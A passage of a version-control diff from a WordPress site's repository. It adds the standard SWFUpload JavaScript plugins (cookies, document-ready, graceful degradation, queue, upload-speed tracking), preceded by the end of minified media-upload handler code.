b=jQuery(this).offset();window.scrollTo(0,b.top-36)});jQuery(this).parent().children(".toggle").toggle();jQuery(this).siblings("a.toggle").focus();return false});jQuery("#media-item-"+a.id+" a.delete").click(function(){jQuery.ajax({url:"admin-ajax.php",type:"post",success:deleteSuccess,error:deleteError,id:a.id,data:{id:this.id.replace(/[^0-9]/g,""),action:"delete-post",_ajax_nonce:this.href.replace(/^.*wpnonce=/,"")}});return false});jQuery("#media-item-"+a.id+".startopen").removeClass("startopen").slideToggle(500).parent().children(".toggle").toggle()}function itemAjaxError(c,b){var a=jQuery("#media-item-error"+c);a.html('<div class="file-error"><button type="button" id="dismiss-'+c+'" class="button dismiss">'+swfuploadL10n.dismiss+"</button>"+b+"</div>");jQuery("#dismiss-"+c).click(function(){jQuery(this).parents(".file-error").slideUp(200,function(){jQuery(this).empty()})})}function deleteSuccess(b,c){if(b=="-1"){return itemAjaxError(this.id,"You do not have permission. Has your session expired?")}if(b=="0"){return itemAjaxError(this.id,"Could not be deleted. Has it been deleted already?")}var a=jQuery("#media-item-"+this.id);if(type=jQuery("#type-of-"+this.id).val()){jQuery("#"+type+"-counter").text(jQuery("#"+type+"-counter").text()-1)}if(a.hasClass("child-of-"+post_id)){jQuery("#attachments-count").text(jQuery("#attachments-count").text()-1)}if(jQuery(".type-form #media-items>*").length==1&&jQuery("#media-items .hidden").length>0){jQuery(".toggle").toggle();jQuery(".slidetoggle").slideUp(200).siblings().removeClass("hidden")}jQuery("#media-item-"+this.id+" .filename:empty").remove();jQuery("#media-item-"+this.id+" .filename").append(' <span class="file-error">'+swfuploadL10n.deleted+"</span>").siblings("a.toggle").remove();jQuery("#media-item-"+this.id).children(".describe").css({backgroundColor:"#fff"}).end().animate({backgroundColor:"#ffc0c0"},{queue:false,duration:50}).animate({minHeight:0,height:36},400,null,function(){jQuery(this).children(".describe").remove()}).animate({backgroundColor:"#fff"},400).animate({height:0},800,null,function(){jQuery(this).remove();updateMediaForm()});return}function deleteError(c,b,a){}function updateMediaForm(){storeState();if(jQuery(".type-form #media-items>*").length==1){jQuery("#media-items .slidetoggle").slideDown(500).parent().eq(0).children(".toggle").toggle();jQuery(".type-form .slidetoggle").siblings().addClass("hidden")}if(jQuery("#media-items>*").not(".media-blank").length>0){jQuery(".savebutton").show()}else{jQuery(".savebutton").hide()}if(jQuery("#media-items>*").length>1){jQuery(".insert-gallery").show()}else{jQuery(".insert-gallery").hide()}}function uploadSuccess(b,a){if(a.match("media-upload-error")){jQuery("#media-item-"+b.id).html(a);return}prepareMediaItem(b,a);updateMediaForm();if(jQuery("#media-item-"+b.id).hasClass("child-of-"+post_id)){jQuery("#attachments-count").text(1*jQuery("#attachments-count").text()+1)}}function uploadComplete(a){if(swfu.getStats().files_queued==0){jQuery("#cancel-upload").attr("disabled","disabled");jQuery("#insert-gallery").attr("disabled","")}}function wpQueueError(a){jQuery("#media-upload-error").show().text(a)}function wpFileError(b,a){jQuery("#media-item-"+b.id+" .filename").after('<div class="file-error"><button type="button" id="dismiss-'+b.id+'" class="button dismiss">'+swfuploadL10n.dismiss+"</button>"+a+"</div>").siblings(".toggle").remove();jQuery("#dismiss-"+b.id).click(function(){jQuery(this).parents(".media-item").slideUp(200,function(){jQuery(this).remove()})})}function fileQueueError(c,a,b){if(a==SWFUpload.QUEUE_ERROR.QUEUE_LIMIT_EXCEEDED){wpQueueError(swfuploadL10n.queue_limit_exceeded)}else{if(a==SWFUpload.QUEUE_ERROR.FILE_EXCEEDS_SIZE_LIMIT){fileQueued(c);wpFileError(c,swfuploadL10n.file_exceeds_size_limit)}else{if(a==SWFUpload.QUEUE_ERROR.ZERO_BYTE_FILE){fileQueued(c);wpFileError(c,swfuploadL10n.zero_byte_file)}else{if(a==SWFUpload.QUEUE_ERROR.INVALID_FILETYPE){fileQueued(c);wpFileError(c,swfuploadL10n.invalid_filetype)}else{wpQueueError(swfuploadL10n.default_error)}}}}}function fileDialogComplete(b){try{if(b>0){this.startUpload()}}catch(a){this.debug(a)}}function switchUploader(b){var c=document.getElementById(swfu.customSettings.swfupload_element_id),a=document.getElementById(swfu.customSettings.degraded_element_id);if(b){c.style.display="block";a.style.display="none"}else{c.style.display="none";a.style.display="block"}}function swfuploadPreLoad(){if(!uploaderMode){switchUploader(1)}else{switchUploader(0)}}function swfuploadLoadFailed(){switchUploader(0);jQuery(".upload-html-bypass").hide()}function uploadError(b,c,a){switch(c){case SWFUpload.UPLOAD_ERROR.MISSING_UPLOAD_URL:wpFileError(b,swfuploadL10n.missing_upload_url);break;case SWFUpload.UPLOAD_ERROR.UPLOAD_LIMIT_EXCEEDED:wpFileError(b,swfuploadL10n.upload_limit_exceeded);break;case SWFUpload.UPLOAD_ERROR.HTTP_ERROR:wpQueueError(swfuploadL10n.http_error);break;case SWFUpload.UPLOAD_ERROR.UPLOAD_FAILED:wpQueueError(swfuploadL10n.upload_failed);break;case SWFUpload.UPLOAD_ERROR.IO_ERROR:wpQueueError(swfuploadL10n.io_error);break;case SWFUpload.UPLOAD_ERROR.SECURITY_ERROR:wpQueueError(swfuploadL10n.security_error);break;case SWFUpload.UPLOAD_ERROR.UPLOAD_STOPPED:case SWFUpload.UPLOAD_ERROR.FILE_CANCELLED:jQuery("#media-item-"+b.id).remove();break;default:wpFileError(b,swfuploadL10n.default_error)}}function cancelUpload(){swfu.cancelQueue()}var storeState;(function(a){storeState=function(){var c=getUserSetting("align")||"",b=getUserSetting("imgsize")||"";a('tr.align input[type="radio"]').click(function(){setUserSetting("align",a(this).val())}).filter(function(){if(a(this).val()==c){return true}return false}).attr("checked","checked");a('tr.image-size input[type="radio"]').click(function(){setUserSetting("imgsize",a(this).val())}).filter(function(){if(a(this).attr("disabled")||a(this).val()!=b){return false}return true}).attr("checked","checked");a("tr.url button").click(function(){var d=this.className||"";d=d.replace(/.*?(url[^ '"]+).*/,"$1");if(d){setUserSetting("urlbutton",d)}a(this).siblings(".urlfield").val(a(this).attr("title"))});a("tr.url .urlfield").each(function(){var d=getUserSetting("urlbutton");a(this).val(a(this).siblings("button."+d).attr("title"))})}})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.cookies.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.cookies.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.cookies.js	(revision 44)
@@ -0,0 +1,53 @@
+/*
+	Cookie Plug-in
+	
+	This plug in automatically gets all the cookies for this site and adds them to the post_params.
+	Cookies are loaded only on initialization.  The refreshCookies function can be called to update the post_params.
+	The cookies will override any other post params with the same name.
+*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.prototype.initSettings = function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+			
+			this.refreshCookies(false);	// The false parameter must be sent since SWFUpload has not initialzed at this point
+		};
+	}(SWFUpload.prototype.initSettings);
+	
+	// refreshes the post_params and updates SWFUpload.  The sendToFlash parameters is optional and defaults to True
+	SWFUpload.prototype.refreshCookies = function (sendToFlash) {
+		if (sendToFlash === undefined) {
+			sendToFlash = true;
+		}
+		sendToFlash = !!sendToFlash;
+		
+		// Get the post_params object
+		var postParams = this.settings.post_params;
+		
+		// Get the cookies
+		var i, cookieArray = document.cookie.split(';'), caLength = cookieArray.length, c, eqIndex, name, value;
+		for (i = 0; i < caLength; i++) {
+			c = cookieArray[i];
+			
+			// Left Trim spaces
+			while (c.charAt(0) === " ") {
+				c = c.substring(1, c.length);
+			}
+			eqIndex = c.indexOf("=");
+			if (eqIndex > 0) {
+				name = c.substring(0, eqIndex);
+				value = c.substring(eqIndex + 1);
+				postParams[name] = value;
+			}
+		}
+		
+		if (sendToFlash) {
+			this.setPostParams(postParams);
+		}
+	};
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.documentready.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.documentready.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.documentready.js	(revision 44)
@@ -0,0 +1,102 @@
+/*
+	DocumentReady Plug-in
+	
+	This plugin loads SWFUpload as soon as the document is ready.  You should not load SWFUpload inside window.onload using this plugin.
+	You can also chain other functions by calling SWFUpload.DocumentReady(your function).
+	
+	Warning: Embedded Ads or other scripts that overwrite window.onload or use their own document ready functions may interfer with this plugin.  You
+		should not set window.onload when using this plugin.
+	
+	Usage Example:
+	
+	var swfu = new SWFUpload(your settings object);
+	SWFUpload.DocumentReady(function () { alert('Document Ready!'; });
+	
+*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	// Override iniSWFUpload so SWFUpload gets inited when the document is ready rather than immediately
+	SWFUpload.prototype.initSWFUpload = function (old_initSWFUpload) {
+		return function (init_settings) {
+			var self = this;
+			if  (typeof(old_initSWFUpload) === "function") {
+				SWFUpload.DocumentReady(function () {
+					old_initSWFUpload.call(self, init_settings);
+				});
+			}
+		}
+		
+	}(SWFUpload.prototype.initSWFUpload);
+
+	
+	// The DocumentReady function adds the passed in function to
+	// the functions that will be executed when the document is ready/loaded
+	SWFUpload.DocumentReady = function (fn) {
+		// Add the function to the chain
+		SWFUpload.DocumentReady.InternalOnloadChain = function (previous_link_fn) {
+			return function () {
+				if (typeof(previous_link_fn) === "function") {
+					previous_link_fn();
+				}
+				fn();
+			};
+		}(SWFUpload.DocumentReady.InternalOnloadChain);
+	};
+	SWFUpload.DocumentReady.InternalOnloadChain = null;
+	SWFUpload.DocumentReady.Onload = function () {
+		// Execute the onload function chain
+		if (typeof(SWFUpload.DocumentReady.InternalOnloadChain) === "function") {
+			SWFUpload.DocumentReady.InternalOnloadChain();
+		}
+	};
+	SWFUpload.DocumentReady.SetupComplete = false;
+
+
+	/* ********************************************
+		This portion of the code gets executed as soon it is loaded.
+		It binds the proper event for executing JavaScript is
+		early as possible.  This is a per browser function and so
+		some browser sniffing is used.
+		
+		This solution still has the "exposed" issue (See the Global Delegation section at http://peter.michaux.ca/article/553 )
+		
+		Base solution from http://dean.edwards.name/weblog/2006/06/again/ and http://dean.edwards.name/weblog/2005/09/busted/
+	******************************************** */
+	if (!SWFUpload.DocumentReady.SetupComplete) {
+		// for Internet Explorer (using conditional comments)
+		/*@cc_on @*/
+		/*@if (@_win32)
+		document.write("<script id=__ie_onload defer src=javascript:void(0)><\/script>");
+		var script = document.getElementById("__ie_onload");
+		script.onreadystatechange = function() {
+			if (this.readyState == "complete") {
+				SWFUpload.DocumentReady.Onload(); // call the onload handler
+			}
+		};
+		SWFUpload.DocumentReady.SetupComplete = true;
+		/*@end @*/
+	}
+
+	if (!SWFUpload.DocumentReady.SetupComplete && /WebKit/i.test(navigator.userAgent)) { // sniff
+		var _timer = setInterval(function() {
+			if (/loaded|complete/.test(document.readyState)) {
+				clearInterval(_timer);
+				SWFUpload.DocumentReady.Onload(); // call the onload handler
+			}
+		}, 10);
+		SWFUpload.DocumentReady.SetupComplete = true;
+	}
+
+	/* for Mozilla */
+	if (!SWFUpload.DocumentReady.SetupComplete && document.addEventListener) {
+		document.addEventListener("DOMContentLoaded", SWFUpload.DocumentReady.Onload, false);
+		SWFUpload.DocumentReady.SetupComplete = true;
+	}
+
+	/* for other browsers */
+	if (!SWFUpload.DocumentReady.SetupComplete) {
+		window.onload = SWFUpload.DocumentReady.Onload;
+		SWFUpload.DocumentReady.SetupComplete = true;
+	}
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js	(revision 44)
@@ -0,0 +1,64 @@
+/* 
+	SWFUpload Graceful Degradation Plug-in
+
+	This plugin allows SWFUpload to display only if it is loaded successfully.  Otherwise a default form is left displayed.
+	
+	Usage:
+	
+	To use this plugin create two HTML containers. Each should have an ID defined.  One container should hold the SWFUpload UI.  The other should hold the degraded UI.
+	
+	The SWFUpload container should have its CSS "display" property set to "none".
+	
+	If SWFUpload loads successfully the SWFUpload container will be displayed ("display" set to "block") and the
+	degraded container will be hidden ("display" set to "none").
+	
+	Use the settings "swfupload_element_id" and "degraded_element_id" to indicate your container IDs.  The default values are "swfupload_container" and "degraded_container".
+	
+*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.gracefulDegradation = {};
+	SWFUpload.prototype.initSettings = function (old_initSettings) {
+		return function (init_settings) {
+			if (typeof(old_initSettings) === "function") {
+				old_initSettings.call(this, init_settings);
+			}
+			
+			this.addSetting("swfupload_element_id",		  		init_settings.swfupload_element_id,				"swfupload_container");
+			this.addSetting("degraded_element_id",		  		init_settings.degraded_element_id,				"degraded_container");
+			this.addSetting("user_swfUploadLoaded_handler",		init_settings.swfupload_loaded_handler,			SWFUpload.swfUploadLoaded);
+
+			this.swfUploadLoaded_handler = SWFUpload.gracefulDegradation.swfUploadLoaded;
+		};
+	}(SWFUpload.prototype.initSettings);
+
+	SWFUpload.gracefulDegradation.swfUploadLoaded = function () {
+		var swfupload_container_id, swfupload_container, degraded_container_id, degraded_container, user_swfUploadLoaded_handler;
+		try {
+			if (uploadDegradeOptions.is_lighttpd_before_150) throw "Lighttpd versions earlier than 1.5.0 aren't supported!";
+			swfupload_element_id = this.getSetting("swfupload_element_id");
+			degraded_element_id = this.getSetting("degraded_element_id");
+			
+			// Show the UI container
+			swfupload_container = document.getElementById(swfupload_element_id);
+			if (swfupload_container !== null) {
+				swfupload_container.style.display = "block";
+
+				// Now take care of hiding the degraded UI
+				degraded_container = document.getElementById(degraded_element_id);
+				if (degraded_container !== null) {
+					degraded_container.style.display = "none";
+				}
+			}
+		} catch (ex) {
+			this.debug(ex);
+		}
+		
+		user_swfUploadLoaded_handler = this.getSetting("user_swfUploadLoaded_handler");
+		if (typeof(user_swfUploadLoaded_handler) === "function") {
+			user_swfUploadLoaded_handler.apply(this);
+		}
+	};
+
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.queue.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.queue.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.queue.js	(revision 44)
@@ -0,0 +1,98 @@
+/*
+	Queue Plug-in
+	
+	Features:
+		*Adds a cancelQueue() method for cancelling the entire queue.
+		*All queued files are uploaded when startUpload() is called.
+		*If false is returned from uploadComplete then the queue upload is stopped.
+		 If false is not returned (strict comparison) then the queue upload is continued.
+		*Adds a QueueComplete event that is fired when all the queued files have finished uploading.
+		 Set the event handler with the queue_complete_handler setting.
+		
+	*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.queue = {};
+	
+	SWFUpload.prototype.initSettings = (function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+			
+			this.queueSettings = {};
+			
+			this.queueSettings.queue_cancelled_flag = false;
+			this.queueSettings.queue_upload_count = 0;
+			
+			this.queueSettings.user_upload_complete_handler = this.settings.upload_complete_handler;
+			this.queueSettings.user_upload_start_handler = this.settings.upload_start_handler;
+			this.settings.upload_complete_handler = SWFUpload.queue.uploadCompleteHandler;
+			this.settings.upload_start_handler = SWFUpload.queue.uploadStartHandler;
+			
+			this.settings.queue_complete_handler = this.settings.queue_complete_handler || null;
+		};
+	})(SWFUpload.prototype.initSettings);
+
+	SWFUpload.prototype.startUpload = function (fileID) {
+		this.queueSettings.queue_cancelled_flag = false;
+		this.callFlash("StartUpload", [fileID]);
+	};
+
+	SWFUpload.prototype.cancelQueue = function () {
+		this.queueSettings.queue_cancelled_flag = true;
+		this.stopUpload();
+		
+		var stats = this.getStats();
+		while (stats.files_queued > 0) {
+			this.cancelUpload();
+			stats = this.getStats();
+		}
+	};
+	
+	SWFUpload.queue.uploadStartHandler = function (file) {
+		var returnValue;
+		if (typeof(this.queueSettings.user_upload_start_handler) === "function") {
+			returnValue = this.queueSettings.user_upload_start_handler.call(this, file);
+		}
+		
+		// To prevent upload a real "FALSE" value must be returned, otherwise default to a real "TRUE" value.
+		returnValue = (returnValue === false) ? false : true;
+		
+		this.queueSettings.queue_cancelled_flag = !returnValue;
+
+		return returnValue;
+	};
+	
+	SWFUpload.queue.uploadCompleteHandler = function (file) {
+		var user_upload_complete_handler = this.queueSettings.user_upload_complete_handler;
+		var continueUpload;
+		
+		if (file.filestatus === SWFUpload.FILE_STATUS.COMPLETE) {
+			this.queueSettings.queue_upload_count++;
+		}
+
+		if (typeof(user_upload_complete_handler) === "function") {
+			continueUpload = (user_upload_complete_handler.call(this, file) === false) ? false : true;
+		} else if (file.filestatus === SWFUpload.FILE_STATUS.QUEUED) {
+			// If the file was stopped and re-queued don't restart the upload
+			continueUpload = false;
+		} else {
+			continueUpload = true;
+		}
+		
+		if (continueUpload) {
+			var stats = this.getStats();
+			if (stats.files_queued > 0 && this.queueSettings.queue_cancelled_flag === false) {
+				this.startUpload();
+			} else if (this.queueSettings.queue_cancelled_flag === false) {
+				this.queueEvent("queue_complete_handler", [this.queueSettings.queue_upload_count]);
+				this.queueSettings.queue_upload_count = 0;
+			} else {
+				this.queueSettings.queue_cancelled_flag = false;
+				this.queueSettings.queue_upload_count = 0;
+			}
+		}
+	};
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.speed.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.speed.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.speed.js	(revision 44)
@@ -0,0 +1,342 @@
+/*
+	Speed Plug-in
+	
+	Features:
+		*Adds several properties to the 'file' object indicated upload speed, time left, upload time, etc.
+			- currentSpeed -- String indicating the upload speed, bytes per second
+			- averageSpeed -- Overall average upload speed, bytes per second
+			- movingAverageSpeed -- Speed over averaged over the last several measurements, bytes per second
+			- timeRemaining -- Estimated remaining upload time in seconds
+			- timeElapsed -- Number of seconds passed for this upload
+			- percentUploaded -- Percentage of the file uploaded (0 to 100)
+			- sizeUploaded -- Formatted size uploaded so far, bytes
+		
+		*Adds setting 'moving_average_history_size' for defining the window size used to calculate the moving average speed.
+		
+		*Adds several Formatting functions for formatting that values provided on the file object.
+			- SWFUpload.speed.formatBPS(bps) -- outputs string formatted in the best units (Gbps, Mbps, Kbps, bps)
+			- SWFUpload.speed.formatTime(seconds) -- outputs string formatted in the best units (x Hr y M z S)
+			- SWFUpload.speed.formatSize(bytes) -- outputs string formatted in the best units (w GB x MB y KB z B )
+			- SWFUpload.speed.formatPercent(percent) -- outputs string formatted with a percent sign (x.xx %)
+			- SWFUpload.speed.formatUnits(baseNumber, divisionArray, unitLabelArray, fractionalBoolean)
+				- Formats a number using the division array to determine how to apply the labels in the Label Array
+				- factionalBoolean indicates whether the number should be returned as a single fractional number with a unit (speed)
+				    or as several numbers labeled with units (time)
+	*/
+
+var SWFUpload;
+if (typeof(SWFUpload) === "function") {
+	SWFUpload.speed = {};
+	
+	SWFUpload.prototype.initSettings = (function (oldInitSettings) {
+		return function () {
+			if (typeof(oldInitSettings) === "function") {
+				oldInitSettings.call(this);
+			}
+			
+			this.ensureDefault = function (settingName, defaultValue) {
+				this.settings[settingName] = (this.settings[settingName] == undefined) ? defaultValue : this.settings[settingName];
+			};
+
+			// List used to keep the speed stats for the files we are tracking
+			this.fileSpeedStats = {};
+			this.speedSettings = {};
+
+			this.ensureDefault("moving_average_history_size", "10");
+			
+			this.speedSettings.user_file_queued_handler = this.settings.file_queued_handler;
+			this.speedSettings.user_file_queue_error_handler = this.settings.file_queue_error_handler;
+			this.speedSettings.user_upload_start_handler = this.settings.upload_start_handler;
+			this.speedSettings.user_upload_error_handler = this.settings.upload_error_handler;
+			this.speedSettings.user_upload_progress_handler = this.settings.upload_progress_handler;
+			this.speedSettings.user_upload_success_handler = this.settings.upload_success_handler;
+			this.speedSettings.user_upload_complete_handler = this.settings.upload_complete_handler;
+			
+			this.settings.file_queued_handler = SWFUpload.speed.fileQueuedHandler;
+			this.settings.file_queue_error_handler = SWFUpload.speed.fileQueueErrorHandler;
+			this.settings.upload_start_handler = SWFUpload.speed.uploadStartHandler;
+			this.settings.upload_error_handler = SWFUpload.speed.uploadErrorHandler;
+			this.settings.upload_progress_handler = SWFUpload.speed.uploadProgressHandler;
+			this.settings.upload_success_handler = SWFUpload.speed.uploadSuccessHandler;
+			this.settings.upload_complete_handler = SWFUpload.speed.uploadCompleteHandler;
+			
+			delete this.ensureDefault;
+		};
+	})(SWFUpload.prototype.initSettings);
+
+	
+	SWFUpload.speed.fileQueuedHandler = function (file) {
+		if (typeof this.speedSettings.user_file_queued_handler === "function") {
+			file = SWFUpload.speed.extendFile(file);
+			
+			return this.speedSettings.user_file_queued_handler.call(this, file);
+		}
+	};
+	
+	SWFUpload.speed.fileQueueErrorHandler = function (file, errorCode, message) {
+		if (typeof this.speedSettings.user_file_queue_error_handler === "function") {
+			file = SWFUpload.speed.extendFile(file);
+			
+			return this.speedSettings.user_file_queue_error_handler.call(this, file, errorCode, message);
+		}
+	};
+
+	SWFUpload.speed.uploadStartHandler = function (file) {
+		if (typeof this.speedSettings.user_upload_start_handler === "function") {
+			file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+			return this.speedSettings.user_upload_start_handler.call(this, file);
+		}
+	};
+	
+	SWFUpload.speed.uploadErrorHandler = function (file, errorCode, message) {
+		file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+		SWFUpload.speed.removeTracking(file, this.fileSpeedStats);
+
+		if (typeof this.speedSettings.user_upload_error_handler === "function") {
+			return this.speedSettings.user_upload_error_handler.call(this, file, errorCode, message);
+		}
+	};
+	SWFUpload.speed.uploadProgressHandler = function (file, bytesComplete, bytesTotal) {
+		this.updateTracking(file, bytesComplete);
+		file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+
+		if (typeof this.speedSettings.user_upload_progress_handler === "function") {
+			return this.speedSettings.user_upload_progress_handler.call(this, file, bytesComplete, bytesTotal);
+		}
+	};
+	
+	SWFUpload.speed.uploadSuccessHandler = function (file, serverData) {
+		if (typeof this.speedSettings.user_upload_success_handler === "function") {
+			file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+			return this.speedSettings.user_upload_success_handler.call(this, file, serverData);
+		}
+	};
+	SWFUpload.speed.uploadCompleteHandler = function (file) {
+		file = SWFUpload.speed.extendFile(file, this.fileSpeedStats);
+		SWFUpload.speed.removeTracking(file, this.fileSpeedStats);
+
+		if (typeof this.speedSettings.user_upload_complete_handler === "function") {
+			return this.speedSettings.user_upload_complete_handler.call(this, file);
+		}
+	};
+	
+	// Private: extends the file object with the speed plugin values
+	SWFUpload.speed.extendFile = function (file, trackingList) {
+		var tracking;
+		
+		if (trackingList) {
+			tracking = trackingList[file.id];
+		}
+		
+		if (tracking) {
+			file.currentSpeed = tracking.currentSpeed;
+			file.averageSpeed = tracking.averageSpeed;
+			file.movingAverageSpeed = tracking.movingAverageSpeed;
+			file.timeRemaining = tracking.timeRemaining;
+			file.timeElapsed = tracking.timeElapsed;
+			file.percentUploaded = tracking.percentUploaded;
+			file.sizeUploaded = tracking.bytesUploaded;
+
+		} else {
+			file.currentSpeed = 0;
+			file.averageSpeed = 0;
+			file.movingAverageSpeed = 0;
+			file.timeRemaining = 0;
+			file.timeElapsed = 0;
+			file.percentUploaded = 0;
+			file.sizeUploaded = 0;
+		}
+		
+		return file;
+	};
+	
+	// Private: Updates the speed tracking object, or creates it if necessary
+	SWFUpload.prototype.updateTracking = function (file, bytesUploaded) {
+		var tracking = this.fileSpeedStats[file.id];
+		if (!tracking) {
+			this.fileSpeedStats[file.id] = tracking = {};
+		}
+		
+		// Sanity check inputs
+		bytesUploaded = bytesUploaded || tracking.bytesUploaded || 0;
+		if (bytesUploaded < 0) {
+			bytesUploaded = 0;
+		}
+		if (bytesUploaded > file.size) {
+			bytesUploaded = file.size;
+		}
+		
+		var tickTime = (new Date()).getTime();
+		if (!tracking.startTime) {
+			tracking.startTime = (new Date()).getTime();
+			tracking.lastTime = tracking.startTime;
+			tracking.currentSpeed = 0;
+			tracking.averageSpeed = 0;
+			tracking.movingAverageSpeed = 0;
+			tracking.movingAverageHistory = [];
+			tracking.timeRemaining = 0;
+			tracking.timeElapsed = 0;
+			tracking.percentUploaded = bytesUploaded / file.size;
+			tracking.bytesUploaded = bytesUploaded;
+		} else if (tracking.startTime > tickTime) {
+			this.debug("When backwards in time");
+		} else {
+			// Get time and deltas
+			var now = (new Date()).getTime();
+			var lastTime = tracking.lastTime;
+			var deltaTime = now - lastTime;
+			var deltaBytes = bytesUploaded - tracking.bytesUploaded;
+			
+			if (deltaBytes === 0 || deltaTime === 0) {
+				return tracking;
+			}
+			
+			// Update tracking object
+			tracking.lastTime = now;
+			tracking.bytesUploaded = bytesUploaded;
+			
+			// Calculate speeds
+			tracking.currentSpeed = (deltaBytes * 8 ) / (deltaTime / 1000);
+			tracking.averageSpeed = (tracking.bytesUploaded * 8) / ((now - tracking.startTime) / 1000);
+
+			// Calculate moving average
+			tracking.movingAverageHistory.push(tracking.currentSpeed);
+			if (tracking.movingAverageHistory.length > this.settings.moving_average_history_size) {
+				tracking.movingAverageHistory.shift();
+			}
+			
+			tracking.movingAverageSpeed = SWFUpload.speed.calculateMovingAverage(tracking.movingAverageHistory);
+			
+			// Update times
+			tracking.timeRemaining = (file.size - tracking.bytesUploaded) * 8 / tracking.movingAverageSpeed;
+			tracking.timeElapsed = (now - tracking.startTime) / 1000;
+			
+			// Update percent
+			tracking.percentUploaded = (tracking.bytesUploaded / file.size * 100);
+		}
+		
+		return tracking;
+	};
+	SWFUpload.speed.removeTracking = function (file, trackingList) {
+		try {
+			trackingList[file.id] = null;
+			delete trackingList[file.id];
+		} catch (ex) {
+		}
+	};
+	
+	SWFUpload.speed.formatUnits = function (baseNumber, unitDivisors, unitLabels, singleFractional) {
+		var i, unit, unitDivisor, unitLabel;
+
+		if (baseNumber === 0) {
+			return "0 " + unitLabels[unitLabels.length - 1];
+		}
+		
+		if (singleFractional) {
+			unit = baseNumber;
+			unitLabel = unitLabels.length >= unitDivisors.length ? unitLabels[unitDivisors.length - 1] : "";
+			for (i = 0; i < unitDivisors.length; i++) {
+				if (baseNumber >= unitDivisors[i]) {
+					unit = (baseNumber / unitDivisors[i]).toFixed(2);
+					unitLabel = unitLabels.length >= i ? " " + unitLabels[i] : "";
+					break;
+				}
+			}
+			
+			return unit + unitLabel;
+		} else {
+			var formattedStrings = [];
+			var remainder = baseNumber;
+			
+			for (i = 0; i < unitDivisors.length; i++) {
+				unitDivisor = unitDivisors[i];
+				unitLabel = unitLabels.length > i ? " " + unitLabels[i] : "";
+				
+				unit = remainder / unitDivisor;
+				if (i < unitDivisors.length -1) {
+					unit = Math.floor(unit);
+				} else {
+					unit = unit.toFixed(2);
+				}
+				if (unit > 0) {
+					remainder = remainder % unitDivisor;
+					
+					formattedStrings.push(unit + unitLabel);
+				}
+			}
+			
+			return formattedStrings.join(" ");
+		}
+	};
+	
+	SWFUpload.speed.formatBPS = function (baseNumber) {
+		var bpsUnits = [1073741824, 1048576, 1024, 1], bpsUnitLabels = ["Gbps", "Mbps", "Kbps", "bps"];
+		return SWFUpload.speed.formatUnits(baseNumber, bpsUnits, bpsUnitLabels, true);
+	
+	};
+	SWFUpload.speed.formatTime = function (baseNumber) {
+		var timeUnits = [86400, 3600, 60, 1], timeUnitLabels = ["d", "h", "m", "s"];
+		return SWFUpload.speed.formatUnits(baseNumber, timeUnits, timeUnitLabels, false);
+	
+	};
+	SWFUpload.speed.formatBytes = function (baseNumber) {
+		var sizeUnits = [1073741824, 1048576, 1024, 1], sizeUnitLabels = ["GB", "MB", "KB", "bytes"];
+		return SWFUpload.speed.formatUnits(baseNumber, sizeUnits, sizeUnitLabels, true);
+	
+	};
+	SWFUpload.speed.formatPercent = function (baseNumber) {
+		return baseNumber.toFixed(2) + " %";
+	};
+	
+	SWFUpload.speed.calculateMovingAverage = function (history) {
+		var vals = [], size, sum = 0.0, mean = 0.0, varianceTemp = 0.0, variance = 0.0, standardDev = 0.0;
+		var i;
+		var mSum = 0, mCount = 0;
+		
+		size = history.length;
+		
+		// Check for sufficient data
+		if (size >= 8) {
+			// Clone the array and Calculate sum of the values 
+			for (i = 0; i < size; i++) {
+				vals[i] = history[i];
+				sum += vals[i];
+			}
+
+			mean = sum / size;
+
+			// Calculate variance for the set
+			for (i = 0; i < size; i++) {
+				varianceTemp += Math.pow((vals[i] - mean), 2);
+			}
+
+			variance = varianceTemp / size;
+			standardDev = Math.sqrt(variance);
+			
+			//Standardize the Data
+			for (i = 0; i < size; i++) {
+				vals[i] = (vals[i] - mean) / standardDev;
+			}
+
+			// Calculate the average excluding outliers
+			var deviationRange = 2.0;
+			for (i = 0; i < size; i++) {
+				
+				if (vals[i] <= deviationRange && vals[i] >= -deviationRange) {
+					mCount++;
+					mSum += history[i];
+				}
+			}
+			
+		} else {
+			// Calculate the average (not enough data points to remove outliers)
+			mCount = size;
+			for (i = 0; i < size; i++) {
+				mSum += history[i];
+			}
+		}
+
+		return mSum / mCount;
+	};
+	
+}
Index: /trunk/www.guidonia.net/wp/wp-includes/js/swfupload/plugins/swfupload.swfobject.js
===================================================================
